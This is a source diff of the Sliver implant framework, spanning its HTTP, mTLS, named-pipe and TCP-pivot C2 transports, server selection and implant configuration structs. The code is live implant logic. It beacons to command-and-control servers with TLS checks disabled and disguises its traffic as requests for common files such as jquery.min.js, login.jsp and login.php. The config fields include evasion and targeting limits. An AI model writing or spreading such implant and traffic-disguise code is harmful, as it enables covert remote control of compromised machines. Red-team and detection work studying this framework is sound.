-	uri := s.startSessionURL()
-	s.NonceQueryArgument(uri, nonce)
-	otpCode := GetOTPCode()
-	s.OTPQueryArgument(uri, otpCode)
-	req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
+	uri := s.jspURL()
+	req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
 	// {{if .Config.Debug}}
 	log.Printf("[http] POST -> %s", uri)
 	// {{end}}
-
 	resp, err := s.Client.Do(req)
 	if err != nil {
 		return err
@@ -251,19 +220,14 @@ func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
 	return nil
 }
 
-var (
-	ErrStatusCodeUnexpected = errors.New("unexpected http response code")
-)
-
 // Poll - Perform an HTTP GET request
 func (s *SliverHTTPClient) Poll() ([]byte, error) {
 	if s.SessionID == "" || s.SessionKey == nil {
 		return nil, errors.New("no session")
 	}
-	uri := s.pollURL()
+	uri := s.jsURL()
 	nonce, encoder := encoders.RandomEncoder()
-	s.NonceQueryArgument(uri, nonce)
-	req := s.newHTTPRequest(http.MethodGet, uri, nil)
+	req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
 	// {{if .Config.Debug}}
 	log.Printf("[http] GET -> %s", uri)
 	// {{end}}
@@ -274,35 +238,28 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
 		// {{end}}
 		return nil, err
 	}
-	if resp.StatusCode == http.StatusForbidden {
+	if resp.StatusCode != 200 && resp.StatusCode != 201 {
+		return nil, errors.New("Non-200 response code")
+	}
+	if resp.StatusCode == 403 {
 		// {{if .Config.Debug}}
 		log.Printf("Server responded with invalid session for %v", s.SessionID)
 		// {{end}}
 		return nil, errors.New("invalid session")
 	}
-	if resp.StatusCode == http.StatusNoContent {
-		return nil, nil
-	}
-	if resp.StatusCode == http.StatusOK {
-		var data []byte
-		respData, _ := ioutil.ReadAll(resp.Body)
-		defer resp.Body.Close()
-		if 0 < len(respData) {
-			data, err = encoder.Decode(respData)
-			if err != nil {
-				// {{if .Config.Debug}}
-				log.Printf("Decoding failed %s", err)
-				// {{end}}
-				return nil, err
-			}
+	var data []byte
+	respData, _ := ioutil.ReadAll(resp.Body)
+	defer resp.Body.Close()
+	if 0 < len(respData) {
+		data, err = encoder.Decode(respData)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Decoding failed %s", err)
+			// {{end}}
+			return nil, err
 		}
-		return GCMDecrypt(*s.SessionKey, data)
 	}
-
-	// {{if .Config.Debug}}
-	log.Printf("[http] Unexpected status code %v", resp)
-	// {{end}}
-	return nil, ErrStatusCodeUnexpected
+	return GCMDecrypt(*s.SessionKey, data)
 }
 
 // Send - Perform an HTTP POST request
@@ -310,18 +267,15 @@ func (s *SliverHTTPClient) Send(data []byte) error {
 	if s.SessionID == "" || s.SessionKey == nil {
 		return errors.New("no session")
 	}
-	reqData, _ := GCMEncrypt(*s.SessionKey, data)
+	reqData, err := GCMEncrypt(*s.SessionKey, data)
 
-	uri := s.sessionURL()
 	nonce, encoder := encoders.RandomEncoder()
-	s.NonceQueryArgument(uri, nonce)
 	reader := bytes.NewReader(encoder.Encode(reqData))
-
+	uri := s.phpURL()
 	// {{if .Config.Debug}}
 	log.Printf("[http] POST -> %s", uri)
 	// {{end}}
-
-	req := s.newHTTPRequest(http.MethodPost, uri, reader)
+	req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
 	resp, err := s.Client.Do(req)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -345,105 +299,54 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
 	return strings.Join(segments, "/")
 }
 
-func (s *SliverHTTPClient) keyExchangeURL() *url.URL {
+func (s *SliverHTTPClient) jsURL() string {
 	curl, _ := url.Parse(s.Origin)
-	segments := []string{
-		// {{range .HTTPC2ImplantConfig.KeyExchangePaths}}
-		"{{.}}",
-		// {{end}}
-	}
-	filenames := []string{
-		// {{range .HTTPC2ImplantConfig.KeyExchangeFiles}}
-		"{{.}}",
-		// {{end}}
-	}
-	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.KeyExchangeFileExt}}"))
-	return curl
+	segments := []string{"js", "static", "assets", "dist", "javascript"}
+	filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
+	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
+	return curl.String()
 }
 
-func (s *SliverHTTPClient) pollURL() *url.URL {
+func (s *SliverHTTPClient) jspURL() string {
 	curl, _ := url.Parse(s.Origin)
-
-	segments := []string{
-		// {{range .HTTPC2ImplantConfig.PollPaths}}
-		"{{.}}",
-		// {{end}}
-	}
-	filenames := []string{
-		// {{range .HTTPC2ImplantConfig.PollFiles}}
-		"{{.}}",
-		// {{end}}
-	}
-
-	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.PollFileExt}}"))
-	return curl
+	segments := []string{"app", "admin", "upload", "actions", "api"}
+	filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
+	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
+	return curl.String()
 }
 
-func (s *SliverHTTPClient) startSessionURL() *url.URL {
-	sessionURI := s.sessionURL()
-	uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExt }}")
-	uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExt }}"
-	curl, _ := url.Parse(uri)
-	return curl
-}
-
-func (s *SliverHTTPClient) sessionURL() *url.URL {
+func (s *SliverHTTPClient) phpURL() string {
 	curl, _ := url.Parse(s.Origin)
-	segments := []string{
-		// {{range .HTTPC2ImplantConfig.SessionPaths}}
-		"{{.}}",
-		// {{end}}
-	}
-	filenames := []string{
-		// {{range .HTTPC2ImplantConfig.SessionFiles}}
-		"{{.}}",
-		// {{end}}
-	}
-	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.SessionFileExt}}"))
-	return curl
+	segments := []string{"api", "rest", "drupal", "wordpress"}
+	filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
+	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
+	return curl.String()
 }
 
-func (s *SliverHTTPClient) closeURL() *url.URL {
+func (s *SliverHTTPClient) txtURL() string {
 	curl, _ := url.Parse(s.Origin)
-
-	segments := []string{
-		// {{range .HTTPC2ImplantConfig.ClosePaths}}
-		"{{.}}",
-		// {{end}}
-	}
-	filenames := []string{
-		// {{range .HTTPC2ImplantConfig.CloseFiles}}
-		"{{.}}",
-		// {{end}}
-	}
-
-	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.CloseFileExt}}"))
-	return curl
+	segments := []string{"static", "www", "assets", "text", "docs", "sample"}
+	filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
+	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
+	return curl.String()
 }
 
-// Must return at least a file name, path segments are optional
-func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
+func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
+	n := insecureRand.Intn(2) // How many segments?
 	genSegments := []string{}
-	if 0 < len(segments) {
-		n := insecureRand.Intn(len(segments)) // How many segments?
-		for index := 0; index < n; index++ {
-			seg := segments[insecureRand.Intn(len(segments))]
-			genSegments = append(genSegments, seg)
-		}
+	for index := 0; index < n; index++ {
+		seg := segments[insecureRand.Intn(len(segments))]
+		genSegments = append(genSegments, seg)
 	}
 	filename := filenames[insecureRand.Intn(len(filenames))]
-
-	// {{if .Config.Debug}}
-	log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
-	// {{end}}
-	genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
+	genSegments = append(genSegments, filename)
 	return genSegments
 }
 
 // [ HTTP(S) Clients ] ------------------------------------------------------------
 
-func httpClient(address string, proxyConfig string) *SliverHTTPClient {
-	transport := &http.Transport{
+func httpClient(address string, useProxy bool) *SliverHTTPClient {
+	httpTransport := &http.Transport{
 		Dial:                proxy.Direct.Dial,
 		TLSHandshakeTimeout: defaultNetTimeout,
 		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
@@ -453,15 +356,31 @@ func httpClient(address string, proxyConfig string) *SliverHTTPClient {
 		Client: &http.Client{
 			Jar:       cookieJar(),
 			Timeout:   defaultReqTimeout,
-			Transport: transport,
+			Transport: httpTransport,
 		},
 	}
-	parseProxyConfig(client, transport, proxyConfig)
+	if useProxy {
+		p := proxy.NewProvider("").GetHTTPProxy(client.Origin)
+		if p != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Found proxy %#v\n", p)
+			// {{end}}
+			proxyURL := p.URL()
+			if proxyURL.Scheme == "" {
+				proxyURL.Scheme = "http"
+			}
+			// {{if .Config.Debug}}
+			log.Printf("Proxy URL = '%s'\n", proxyURL)
+			// {{end}}
+			httpTransport.Proxy = http.ProxyURL(proxyURL)
+			client.ProxyURL = proxyURL.String()
+		}
+	}
 	return client
 }
 
-func httpsClient(address string, proxyConfig string) *SliverHTTPClient {
-	transport := &http.Transport{
+func httpsClient(address string, useProxy bool) *SliverHTTPClient {
+	netTransport := &http.Transport{
 		Dial: (&net.Dialer{
 			Timeout: defaultNetTimeout,
 		}).Dial,
@@ -473,20 +392,10 @@ func httpsClient(address string, proxyConfig string) *SliverHTTPClient {
 		Client: &http.Client{
 			Jar:       cookieJar(),
 			Timeout:   defaultReqTimeout,
-			Transport: transport,
+			Transport: netTransport,
 		},
 	}
-	parseProxyConfig(client, transport, proxyConfig)
-	return client
-}
-
-func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
-	switch proxyConfig {
-	case "never":
-		break
-	case "":
-		fallthrough
-	case "auto":
+	if useProxy {
 		p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
 		if p != nil {
 			// {{if .Config.Debug}}
@@ -499,26 +408,11 @@ func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxy
 			// {{if .Config.Debug}}
 			log.Printf("Proxy URL = '%s'\n", proxyURL)
 			// {{end}}
-			transport.Proxy = http.ProxyURL(proxyURL)
+			netTransport.Proxy = http.ProxyURL(proxyURL)
 			client.ProxyURL = proxyURL.String()
 		}
-	default:
-		// {{if .Config.Debug}}
-		log.Printf("Force proxy %#v\n", proxyConfig)
-		// {{end}}
-		proxyURL, err := url.Parse(proxyConfig)
-		if err != nil {
-			break
-		}
-		if proxyURL.Scheme == "" {
-			proxyURL.Scheme = "https"
-		}
-		// {{if .Config.Debug}}
-		log.Printf("Proxy URL = '%s'\n", proxyURL)
-		// {{end}}
-		transport.Proxy = http.ProxyURL(proxyURL)
-		client.ProxyURL = proxyURL.String()
 	}
+	return client
 }
 
 // Jar - CookieJar implementation that ignores domains/origins

implant/sliver/transports/tcp-mtls.go

@@ -33,6 +33,7 @@ import (
 
 	"os"
 
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 
 	"google.golang.org/protobuf/proto"
@@ -62,9 +63,9 @@ func socketWritePing(connection *tls.Conn) error {
 	// {{end}}
 
 	// We don't need a real nonce here, we just need to write to the socket
-	pingBuf, _ := proto.Marshal(&pb.Ping{Nonce: 31337})
-	envelope := pb.Envelope{
-		Type: pb.MsgPing,
+	pingBuf, _ := proto.Marshal(&sliverpb.Ping{Nonce: 31337})
+	envelope := sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
 		Data: pingBuf,
 	}
 	return socketWriteEnvelope(connection, &envelope)
@@ -151,6 +152,7 @@ func getTLSConfig() *tls.Config {
 		InsecureSkipVerify:    true, // Don't worry I sorta know what I'm doing
 		VerifyPeerCertificate: rootOnlyVerifyCertificate,
 	}
+	tlsConfig.BuildNameToCertificate()
 
 	return tlsConfig
 }

implant/sliver/transports/tcp-pivot.go

@@ -18,7 +18,7 @@ const (
 	writeBufSizeTCP = 1024
 )
 
-func tcpPivotWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
+func tcpPivoteWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
 	data, err := proto.Marshal(envelope)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -87,7 +87,7 @@ func tcpPivotReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
 	err = proto.Unmarshal(dataBuf, envelope)
 	if err != nil {
 		// {{if .Config.Debug}}
-		log.Printf("[tcppivot] Unmarshal envelope error: %v", err)
+		log.Printf("[tcppivot] Unmarshaling envelope error: %v", err)
 		// {{end}}
 		return &sliverpb.Envelope{}, err
 	}

implant/sliver/transports/transports.go

@@ -19,10 +19,10 @@ package transports
 */
 
 import (
-	insecureRand "math/rand"
 
 	// {{if or .Config.HTTPc2Enabled .Config.TCPPivotc2Enabled .Config.WGc2Enabled}}
 	"net"
+
 	// {{end}}
 
 	// {{if .Config.Debug}}
@@ -33,7 +33,6 @@ import (
 	// {{if .Config.WGc2Enabled}}
 	"errors"
 	// {{end}}
-
 	"io"
 	"net/url"
 	"os"
@@ -41,6 +40,7 @@ import (
 	"sync"
 	"time"
 
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 
 	// {{if .Config.HTTPc2Enabled}}
@@ -107,10 +107,6 @@ type Tunnel struct {
 	WriteSequence uint64
 }
 
-func init() {
-	insecureRand.Seed(time.Now().UnixNano())
-}
-
 // Tunnel - Add tunnel to mapping
 func (c *Connection) Tunnel(ID uint64) *Tunnel {
 	c.mutex.RLock()
@@ -134,8 +130,8 @@ func (c *Connection) RemoveTunnel(ID uint64) {
 }
 
 func (c *Connection) RequestResend(data []byte) {
-	c.Send <- &pb.Envelope{
-		Type: pb.MsgTunnelData,
+	c.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgTunnelData,
 		Data: data,
 	}
 }
@@ -293,45 +289,14 @@ func GetActiveConnection() *Connection {
 }
 
 func nextCCServer() *url.URL {
-	var next string
-	switch "{{.Config.ConnectionStrategy}}" {
-	case "r": // Random
-		next = ccServers[insecureRand.Intn(len(ccServers))]
-	case "rd": // Random Domain
-		next = randomCCDomain(ccServers[*ccCounter%len(ccServers)])
-	case "s": // Sequential
-		next = ccServers[*ccCounter%len(ccServers)]
-	default:
-		next = ccServers[*ccCounter%len(ccServers)]
-	}
+	uri, err := url.Parse(ccServers[*ccCounter%len(ccServers)])
 	*ccCounter++
-	uri, err := url.Parse(next)
 	if err != nil {
 		return nextCCServer()
 	}
 	return uri
 }
 
-// randomCCDomain - Random selection within a protocol
-func randomCCDomain(next string) string {
-	uri, err := url.Parse(next)
-	if err != nil {
-		return next
-	}
-	pool := []string{}
-	protocol := uri.Scheme
-	for _, cc := range ccServers {
-		uri, err := url.Parse(cc)
-		if err != nil {
-			continue
-		}
-		if uri.Scheme == protocol {
-			pool = append(pool, cc)
-		}
-	}
-	return pool[insecureRand.Intn(len(pool))]
-}
-
 // GetReconnectInterval - Parse the reconnect interval inserted at compile-time
 func GetReconnectInterval() time.Duration {
 	if reconnectInterval == -1 {
@@ -435,12 +400,12 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 				}
 				err := socketWriteEnvelope(conn, envelope)
 				if err != nil {
-					return
+					break
 				}
 			case <-time.After(mtlsPingInterval):
 				socketWritePing(conn)
 				if err != nil {
-					return
+					break
 				}
 			}
 		}
@@ -525,12 +490,12 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 				}
 				err := socketWGWriteEnvelope(conn, envelope)
 				if err != nil {
-					return
+					break
 				}
 			case <-time.After(mtlsPingInterval):
 				socketWGWritePing(conn)
 				if err != nil {
-					return
+					break
 				}
 			}
 		}
@@ -559,13 +524,12 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 // {{end}} -WGc2Enabled
 
 // {{if .Config.HTTPc2Enabled}}
-func httpConnect(c2URI *url.URL) (*Connection, error) {
+func httpConnect(uri *url.URL) (*Connection, error) {
 
 	// {{if .Config.Debug}}
-	log.Printf("Connecting -> http(s)://%s", c2URI.Host)
+	log.Printf("Connecting -> http(s)://%s", uri.Host)
 	// {{end}}
-	proxyConfig := c2URI.Query().Get("proxy")
-	client, err := HTTPStartSession(c2URI.Host, c2URI.Path, proxyConfig)
+	client, err := HTTPStartSession(uri.Host, uri.Path)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("http(s) connection error %v", err)
@@ -608,52 +572,37 @@ func httpConnect(c2URI *url.URL) (*Connection, error) {
 
 	go func() {
 		defer connection.Cleanup()
-		errCount := 0 // Number of sequential errors
 		for {
 			select {
 			case <-ctrl:
 				return
 			default:
 				resp, err := client.Poll()
-				switch errType := err.(type) {
+				switch err := err.(type) {
 				case nil:
-					errCount = 0
-					if len(resp) == 0 {
-						continue
-					}
 					envelope := &pb.Envelope{}
-					err = proto.Unmarshal(resp, envelope)
+					proto.Unmarshal(resp, envelope)
 					if err != nil {
-						// {{if .Config.Debug}}
-						log.Printf("failed to decode pb: %s", err)
-						// {{end}}
 						continue
 					}
 					recv <- envelope
-				case *url.Error:
-					errCount++
-					if err, ok := errType.Err.(net.Error); ok && err.Timeout() {
+				case net.Error:
+					if err.Timeout() {
 						// {{if .Config.Debug}}
-						log.Printf("timeout error #%d", errCount)
+						log.Printf("non-fatal error, continue")
 						// {{end}}
-						if errCount < maxErrors {
-							continue
-						}
+						continue
 					}
 					return
-				case net.Error:
-					errCount++
-					if errType.Timeout() {
+				case *url.Error:
+					if err, ok := err.Err.(net.Error); ok && err.Timeout() {
 						// {{if .Config.Debug}}
-						log.Printf("timeout error #%d", errCount)
+						log.Printf("non-fatal error, continue")
 						// {{end}}
-						if errCount < maxErrors {
-							continue
-						}
+						continue
 					}
 					return
 				default:
-					errCount++
 					// {{if .Config.Debug}}
 					log.Printf("[http] error: %#v", err)
 					// {{end}}
@@ -722,6 +671,64 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
 
 // {{end}} - .DNSc2Enabled
 
+// {{if .Config.NamePipec2Enabled}}
+func namedPipeConnect(uri *url.URL) (*Connection, error) {
+	conn, err := namePipeDial(uri)
+	if err != nil {
+		return nil, err
+	}
+	send := make(chan *pb.Envelope)
+	recv := make(chan *pb.Envelope)
+	ctrl := make(chan bool, 1)
+	connection := &Connection{
+		Send:    send,
+		Recv:    recv,
+		ctrl:    ctrl,
+		tunnels: &map[uint64]*Tunnel{},
+		mutex:   &sync.RWMutex{},
+		once:    &sync.Once{},
+		IsOpen:  true,
+		cleanup: func() {
+			// {{if .Config.Debug}}
+			log.Printf("[namedpipe] lost connection, cleanup...")
+			// {{end}}
+			close(send)
+			ctrl <- true
+			close(recv)
+		},
+	}
+
+	go func() {
+		defer connection.Cleanup()
+		for envelope := range send {
+			// {{if .Config.Debug}}
+			log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
+			// {{end}}
+			namedPipeWriteEnvelope(&conn, envelope)
+		}
+	}()
+
+	go func() {
+		defer connection.Cleanup()
+		for {
+			envelope, err := namedPipeReadEnvelope(&conn)
+			if err == io.EOF {
+				break
+			}
+			if err == nil {
+				recv <- envelope
+				// {{if .Config.Debug}}
+				log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
+				// {{end}}
+			}
+		}
+	}()
+	activeConnection = connection
+	return connection, nil
+}
+
+// {{end}} -NamePipec2Enabled
+
 // {{if .Config.TCPPivotc2Enabled}}
 func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 	addr := strings.ReplaceAll(uri.String(), "tcppivot://", "")
@@ -756,7 +763,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
 			// {{end}}
-			tcpPivotWriteEnvelope(&conn, envelope)
+			tcpPivoteWriteEnvelope(&conn, envelope)
 		}
 	}()
 
@@ -782,7 +789,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 // {{end}} -TCPPivotc2Enabled
 
 // rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
-// we have to disable all of the certificate validation and re-implement everything.
+// we have to disable all of the fucking certificate validation and re-implement everything.
 // https://github.com/golang/go/issues/21971
 func rootOnlyVerifyCertificate(rawCerts [][]byte, _ [][]*x509.Certificate) error {
 

implant/sliver/version/version_darwin.go

@@ -1,23 +1,5 @@
 package version
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 func GetVersion() string {
 	return ""
 }

implant/sliver/version/version_default.go

@@ -0,0 +1,6 @@
+package version
+
+// GetVersion returns the os version information
+func GetVersion() string {
+	return ""
+}

implant/sliver/version/version_linux.go

@@ -1,25 +1,5 @@
-//go:build amd64 || 386
-
 package version
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"fmt"
 	"log"

implant/sliver/version/version_windows.go

@@ -1,23 +1,5 @@
 package version
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"fmt"
 	//{{if .Config.Debug}}

protobuf/clientpb/client.pb.go

@@ -380,29 +380,28 @@ type Session struct {
 	sizeCache     protoimpl.SizeCache
 	unknownFields protoimpl.UnknownFields
 
-	ID                uint32   `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"`
-	Name              string   `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
-	Hostname          string   `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
-	UUID              string   `protobuf:"bytes,4,opt,name=UUID,proto3" json:"UUID,omitempty"`
-	Username          string   `protobuf:"bytes,5,opt,name=Username,proto3" json:"Username,omitempty"`
-	UID               string   `protobuf:"bytes,6,opt,name=UID,proto3" json:"UID,omitempty"`
-	GID               string   `protobuf:"bytes,7,opt,name=GID,proto3" json:"GID,omitempty"`
-	OS                string   `protobuf:"bytes,8,opt,name=OS,proto3" json:"OS,omitempty"`
-	Arch              string   `protobuf:"bytes,9,opt,name=Arch,proto3" json:"Arch,omitempty"`
-	Transport         string   `protobuf:"bytes,10,opt,name=Transport,proto3" json:"Transport,omitempty"`
-	RemoteAddress     string   `protobuf:"bytes,11,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
-	PID               int32    `protobuf:"varint,12,opt,name=PID,proto3" json:"PID,omitempty"`
-	Filename          string   `protobuf:"bytes,13,opt,name=Filename,proto3" json:"Filename,omitempty"` // Argv[0]
-	LastCheckin       string   `protobuf:"bytes,14,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
-	ActiveC2          string   `protobuf:"bytes,15,opt,name=ActiveC2,proto3" json:"ActiveC2,omitempty"`
-	Version           string   `protobuf:"bytes,16,opt,name=Version,proto3" json:"Version,omitempty"`
-	Evasion           bool     `protobuf:"varint,17,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
-	IsDead            bool     `protobuf:"varint,18,opt,name=IsDead,proto3" json:"IsDead,omitempty"`
-	ReconnectInterval uint32   `protobuf:"varint,19,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
-	ProxyURL          string   `protobuf:"bytes,20,opt,name=ProxyURL,proto3" json:"ProxyURL,omitempty"`
-	PollInterval      uint32   `protobuf:"varint,21,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
-	Burned            bool     `protobuf:"varint,22,opt,name=Burned,proto3" json:"Burned,omitempty"`
-	Extensions        []string `protobuf:"bytes,23,rep,name=Extensions,proto3" json:"Extensions,omitempty"`
+	ID                uint32 `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"`
+	Name              string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
+	Hostname          string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
+	UUID              string `protobuf:"bytes,4,opt,name=UUID,proto3" json:"UUID,omitempty"`
+	Username          string `protobuf:"bytes,5,opt,name=Username,proto3" json:"Username,omitempty"`
+	UID               string `protobuf:"bytes,6,opt,name=UID,proto3" json:"UID,omitempty"`
+	GID               string `protobuf:"bytes,7,opt,name=GID,proto3" json:"GID,omitempty"`
+	OS                string `protobuf:"bytes,8,opt,name=OS,proto3" json:"OS,omitempty"`
+	Arch              string `protobuf:"bytes,9,opt,name=Arch,proto3" json:"Arch,omitempty"`
+	Transport         string `protobuf:"bytes,10,opt,name=Transport,proto3" json:"Transport,omitempty"`
+	RemoteAddress     string `protobuf:"bytes,11,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
+	PID               int32  `protobuf:"varint,12,opt,name=PID,proto3" json:"PID,omitempty"`
+	Filename          string `protobuf:"bytes,13,opt,name=Filename,proto3" json:"Filename,omitempty"` // Argv[0]
+	LastCheckin       string `protobuf:"bytes,14,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
+	ActiveC2          string `protobuf:"bytes,15,opt,name=ActiveC2,proto3" json:"ActiveC2,omitempty"`
+	Version           string `protobuf:"bytes,16,opt,name=Version,proto3" json:"Version,omitempty"`
+	Evasion           bool   `protobuf:"varint,17,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
+	IsDead            bool   `protobuf:"varint,18,opt,name=IsDead,proto3" json:"IsDead,omitempty"`
+	ReconnectInterval uint32 `protobuf:"varint,19,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
+	ProxyURL          string `protobuf:"bytes,20,opt,name=ProxyURL,proto3" json:"ProxyURL,omitempty"`
+	PollInterval      uint32 `protobuf:"varint,21,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
+	Burned            bool   `protobuf:"varint,22,opt,name=Burned,proto3" json:"Burned,omitempty"`
 }
 
 func (x *Session) Reset() {
@@ -591,13 +590,6 @@ func (x *Session) GetBurned() bool {
 	return false
 }
 
-func (x *Session) GetExtensions() []string {
-	if x != nil {
-		return x.Extensions
-	}
-	return nil
-}
-
 type ImplantC2 struct {
 	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
@@ -666,7 +658,6 @@ type ImplantConfig struct {
 	sizeCache     protoimpl.SizeCache
 	unknownFields protoimpl.UnknownFields
 
-	ID                  string `protobuf:"bytes,100,opt,name=ID,proto3" json:"ID,omitempty"`
 	GOOS                string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"`
 	GOARCH              string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"`
 	Name                string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
@@ -685,19 +676,18 @@ type ImplantConfig struct {
 	MaxConnectionErrors uint32 `protobuf:"varint,9,opt,name=MaxConnectionErrors,proto3" json:"MaxConnectionErrors,omitempty"`
 	PollInterval        uint32 `protobuf:"varint,38,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
 	// c2
-	C2                 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
-	CanaryDomains      []string     `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
-	ConnectionStrategy string       `protobuf:"bytes,39,opt,name=ConnectionStrategy,proto3" json:"ConnectionStrategy,omitempty"`
-	LimitDomainJoined  bool         `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
-	LimitDatetime      string       `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
-	LimitHostname      string       `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
-	LimitUsername      string       `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
-	LimitFileExists    string       `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
-	Format             OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
-	IsSharedLib        bool         `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
-	FileName           string       `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
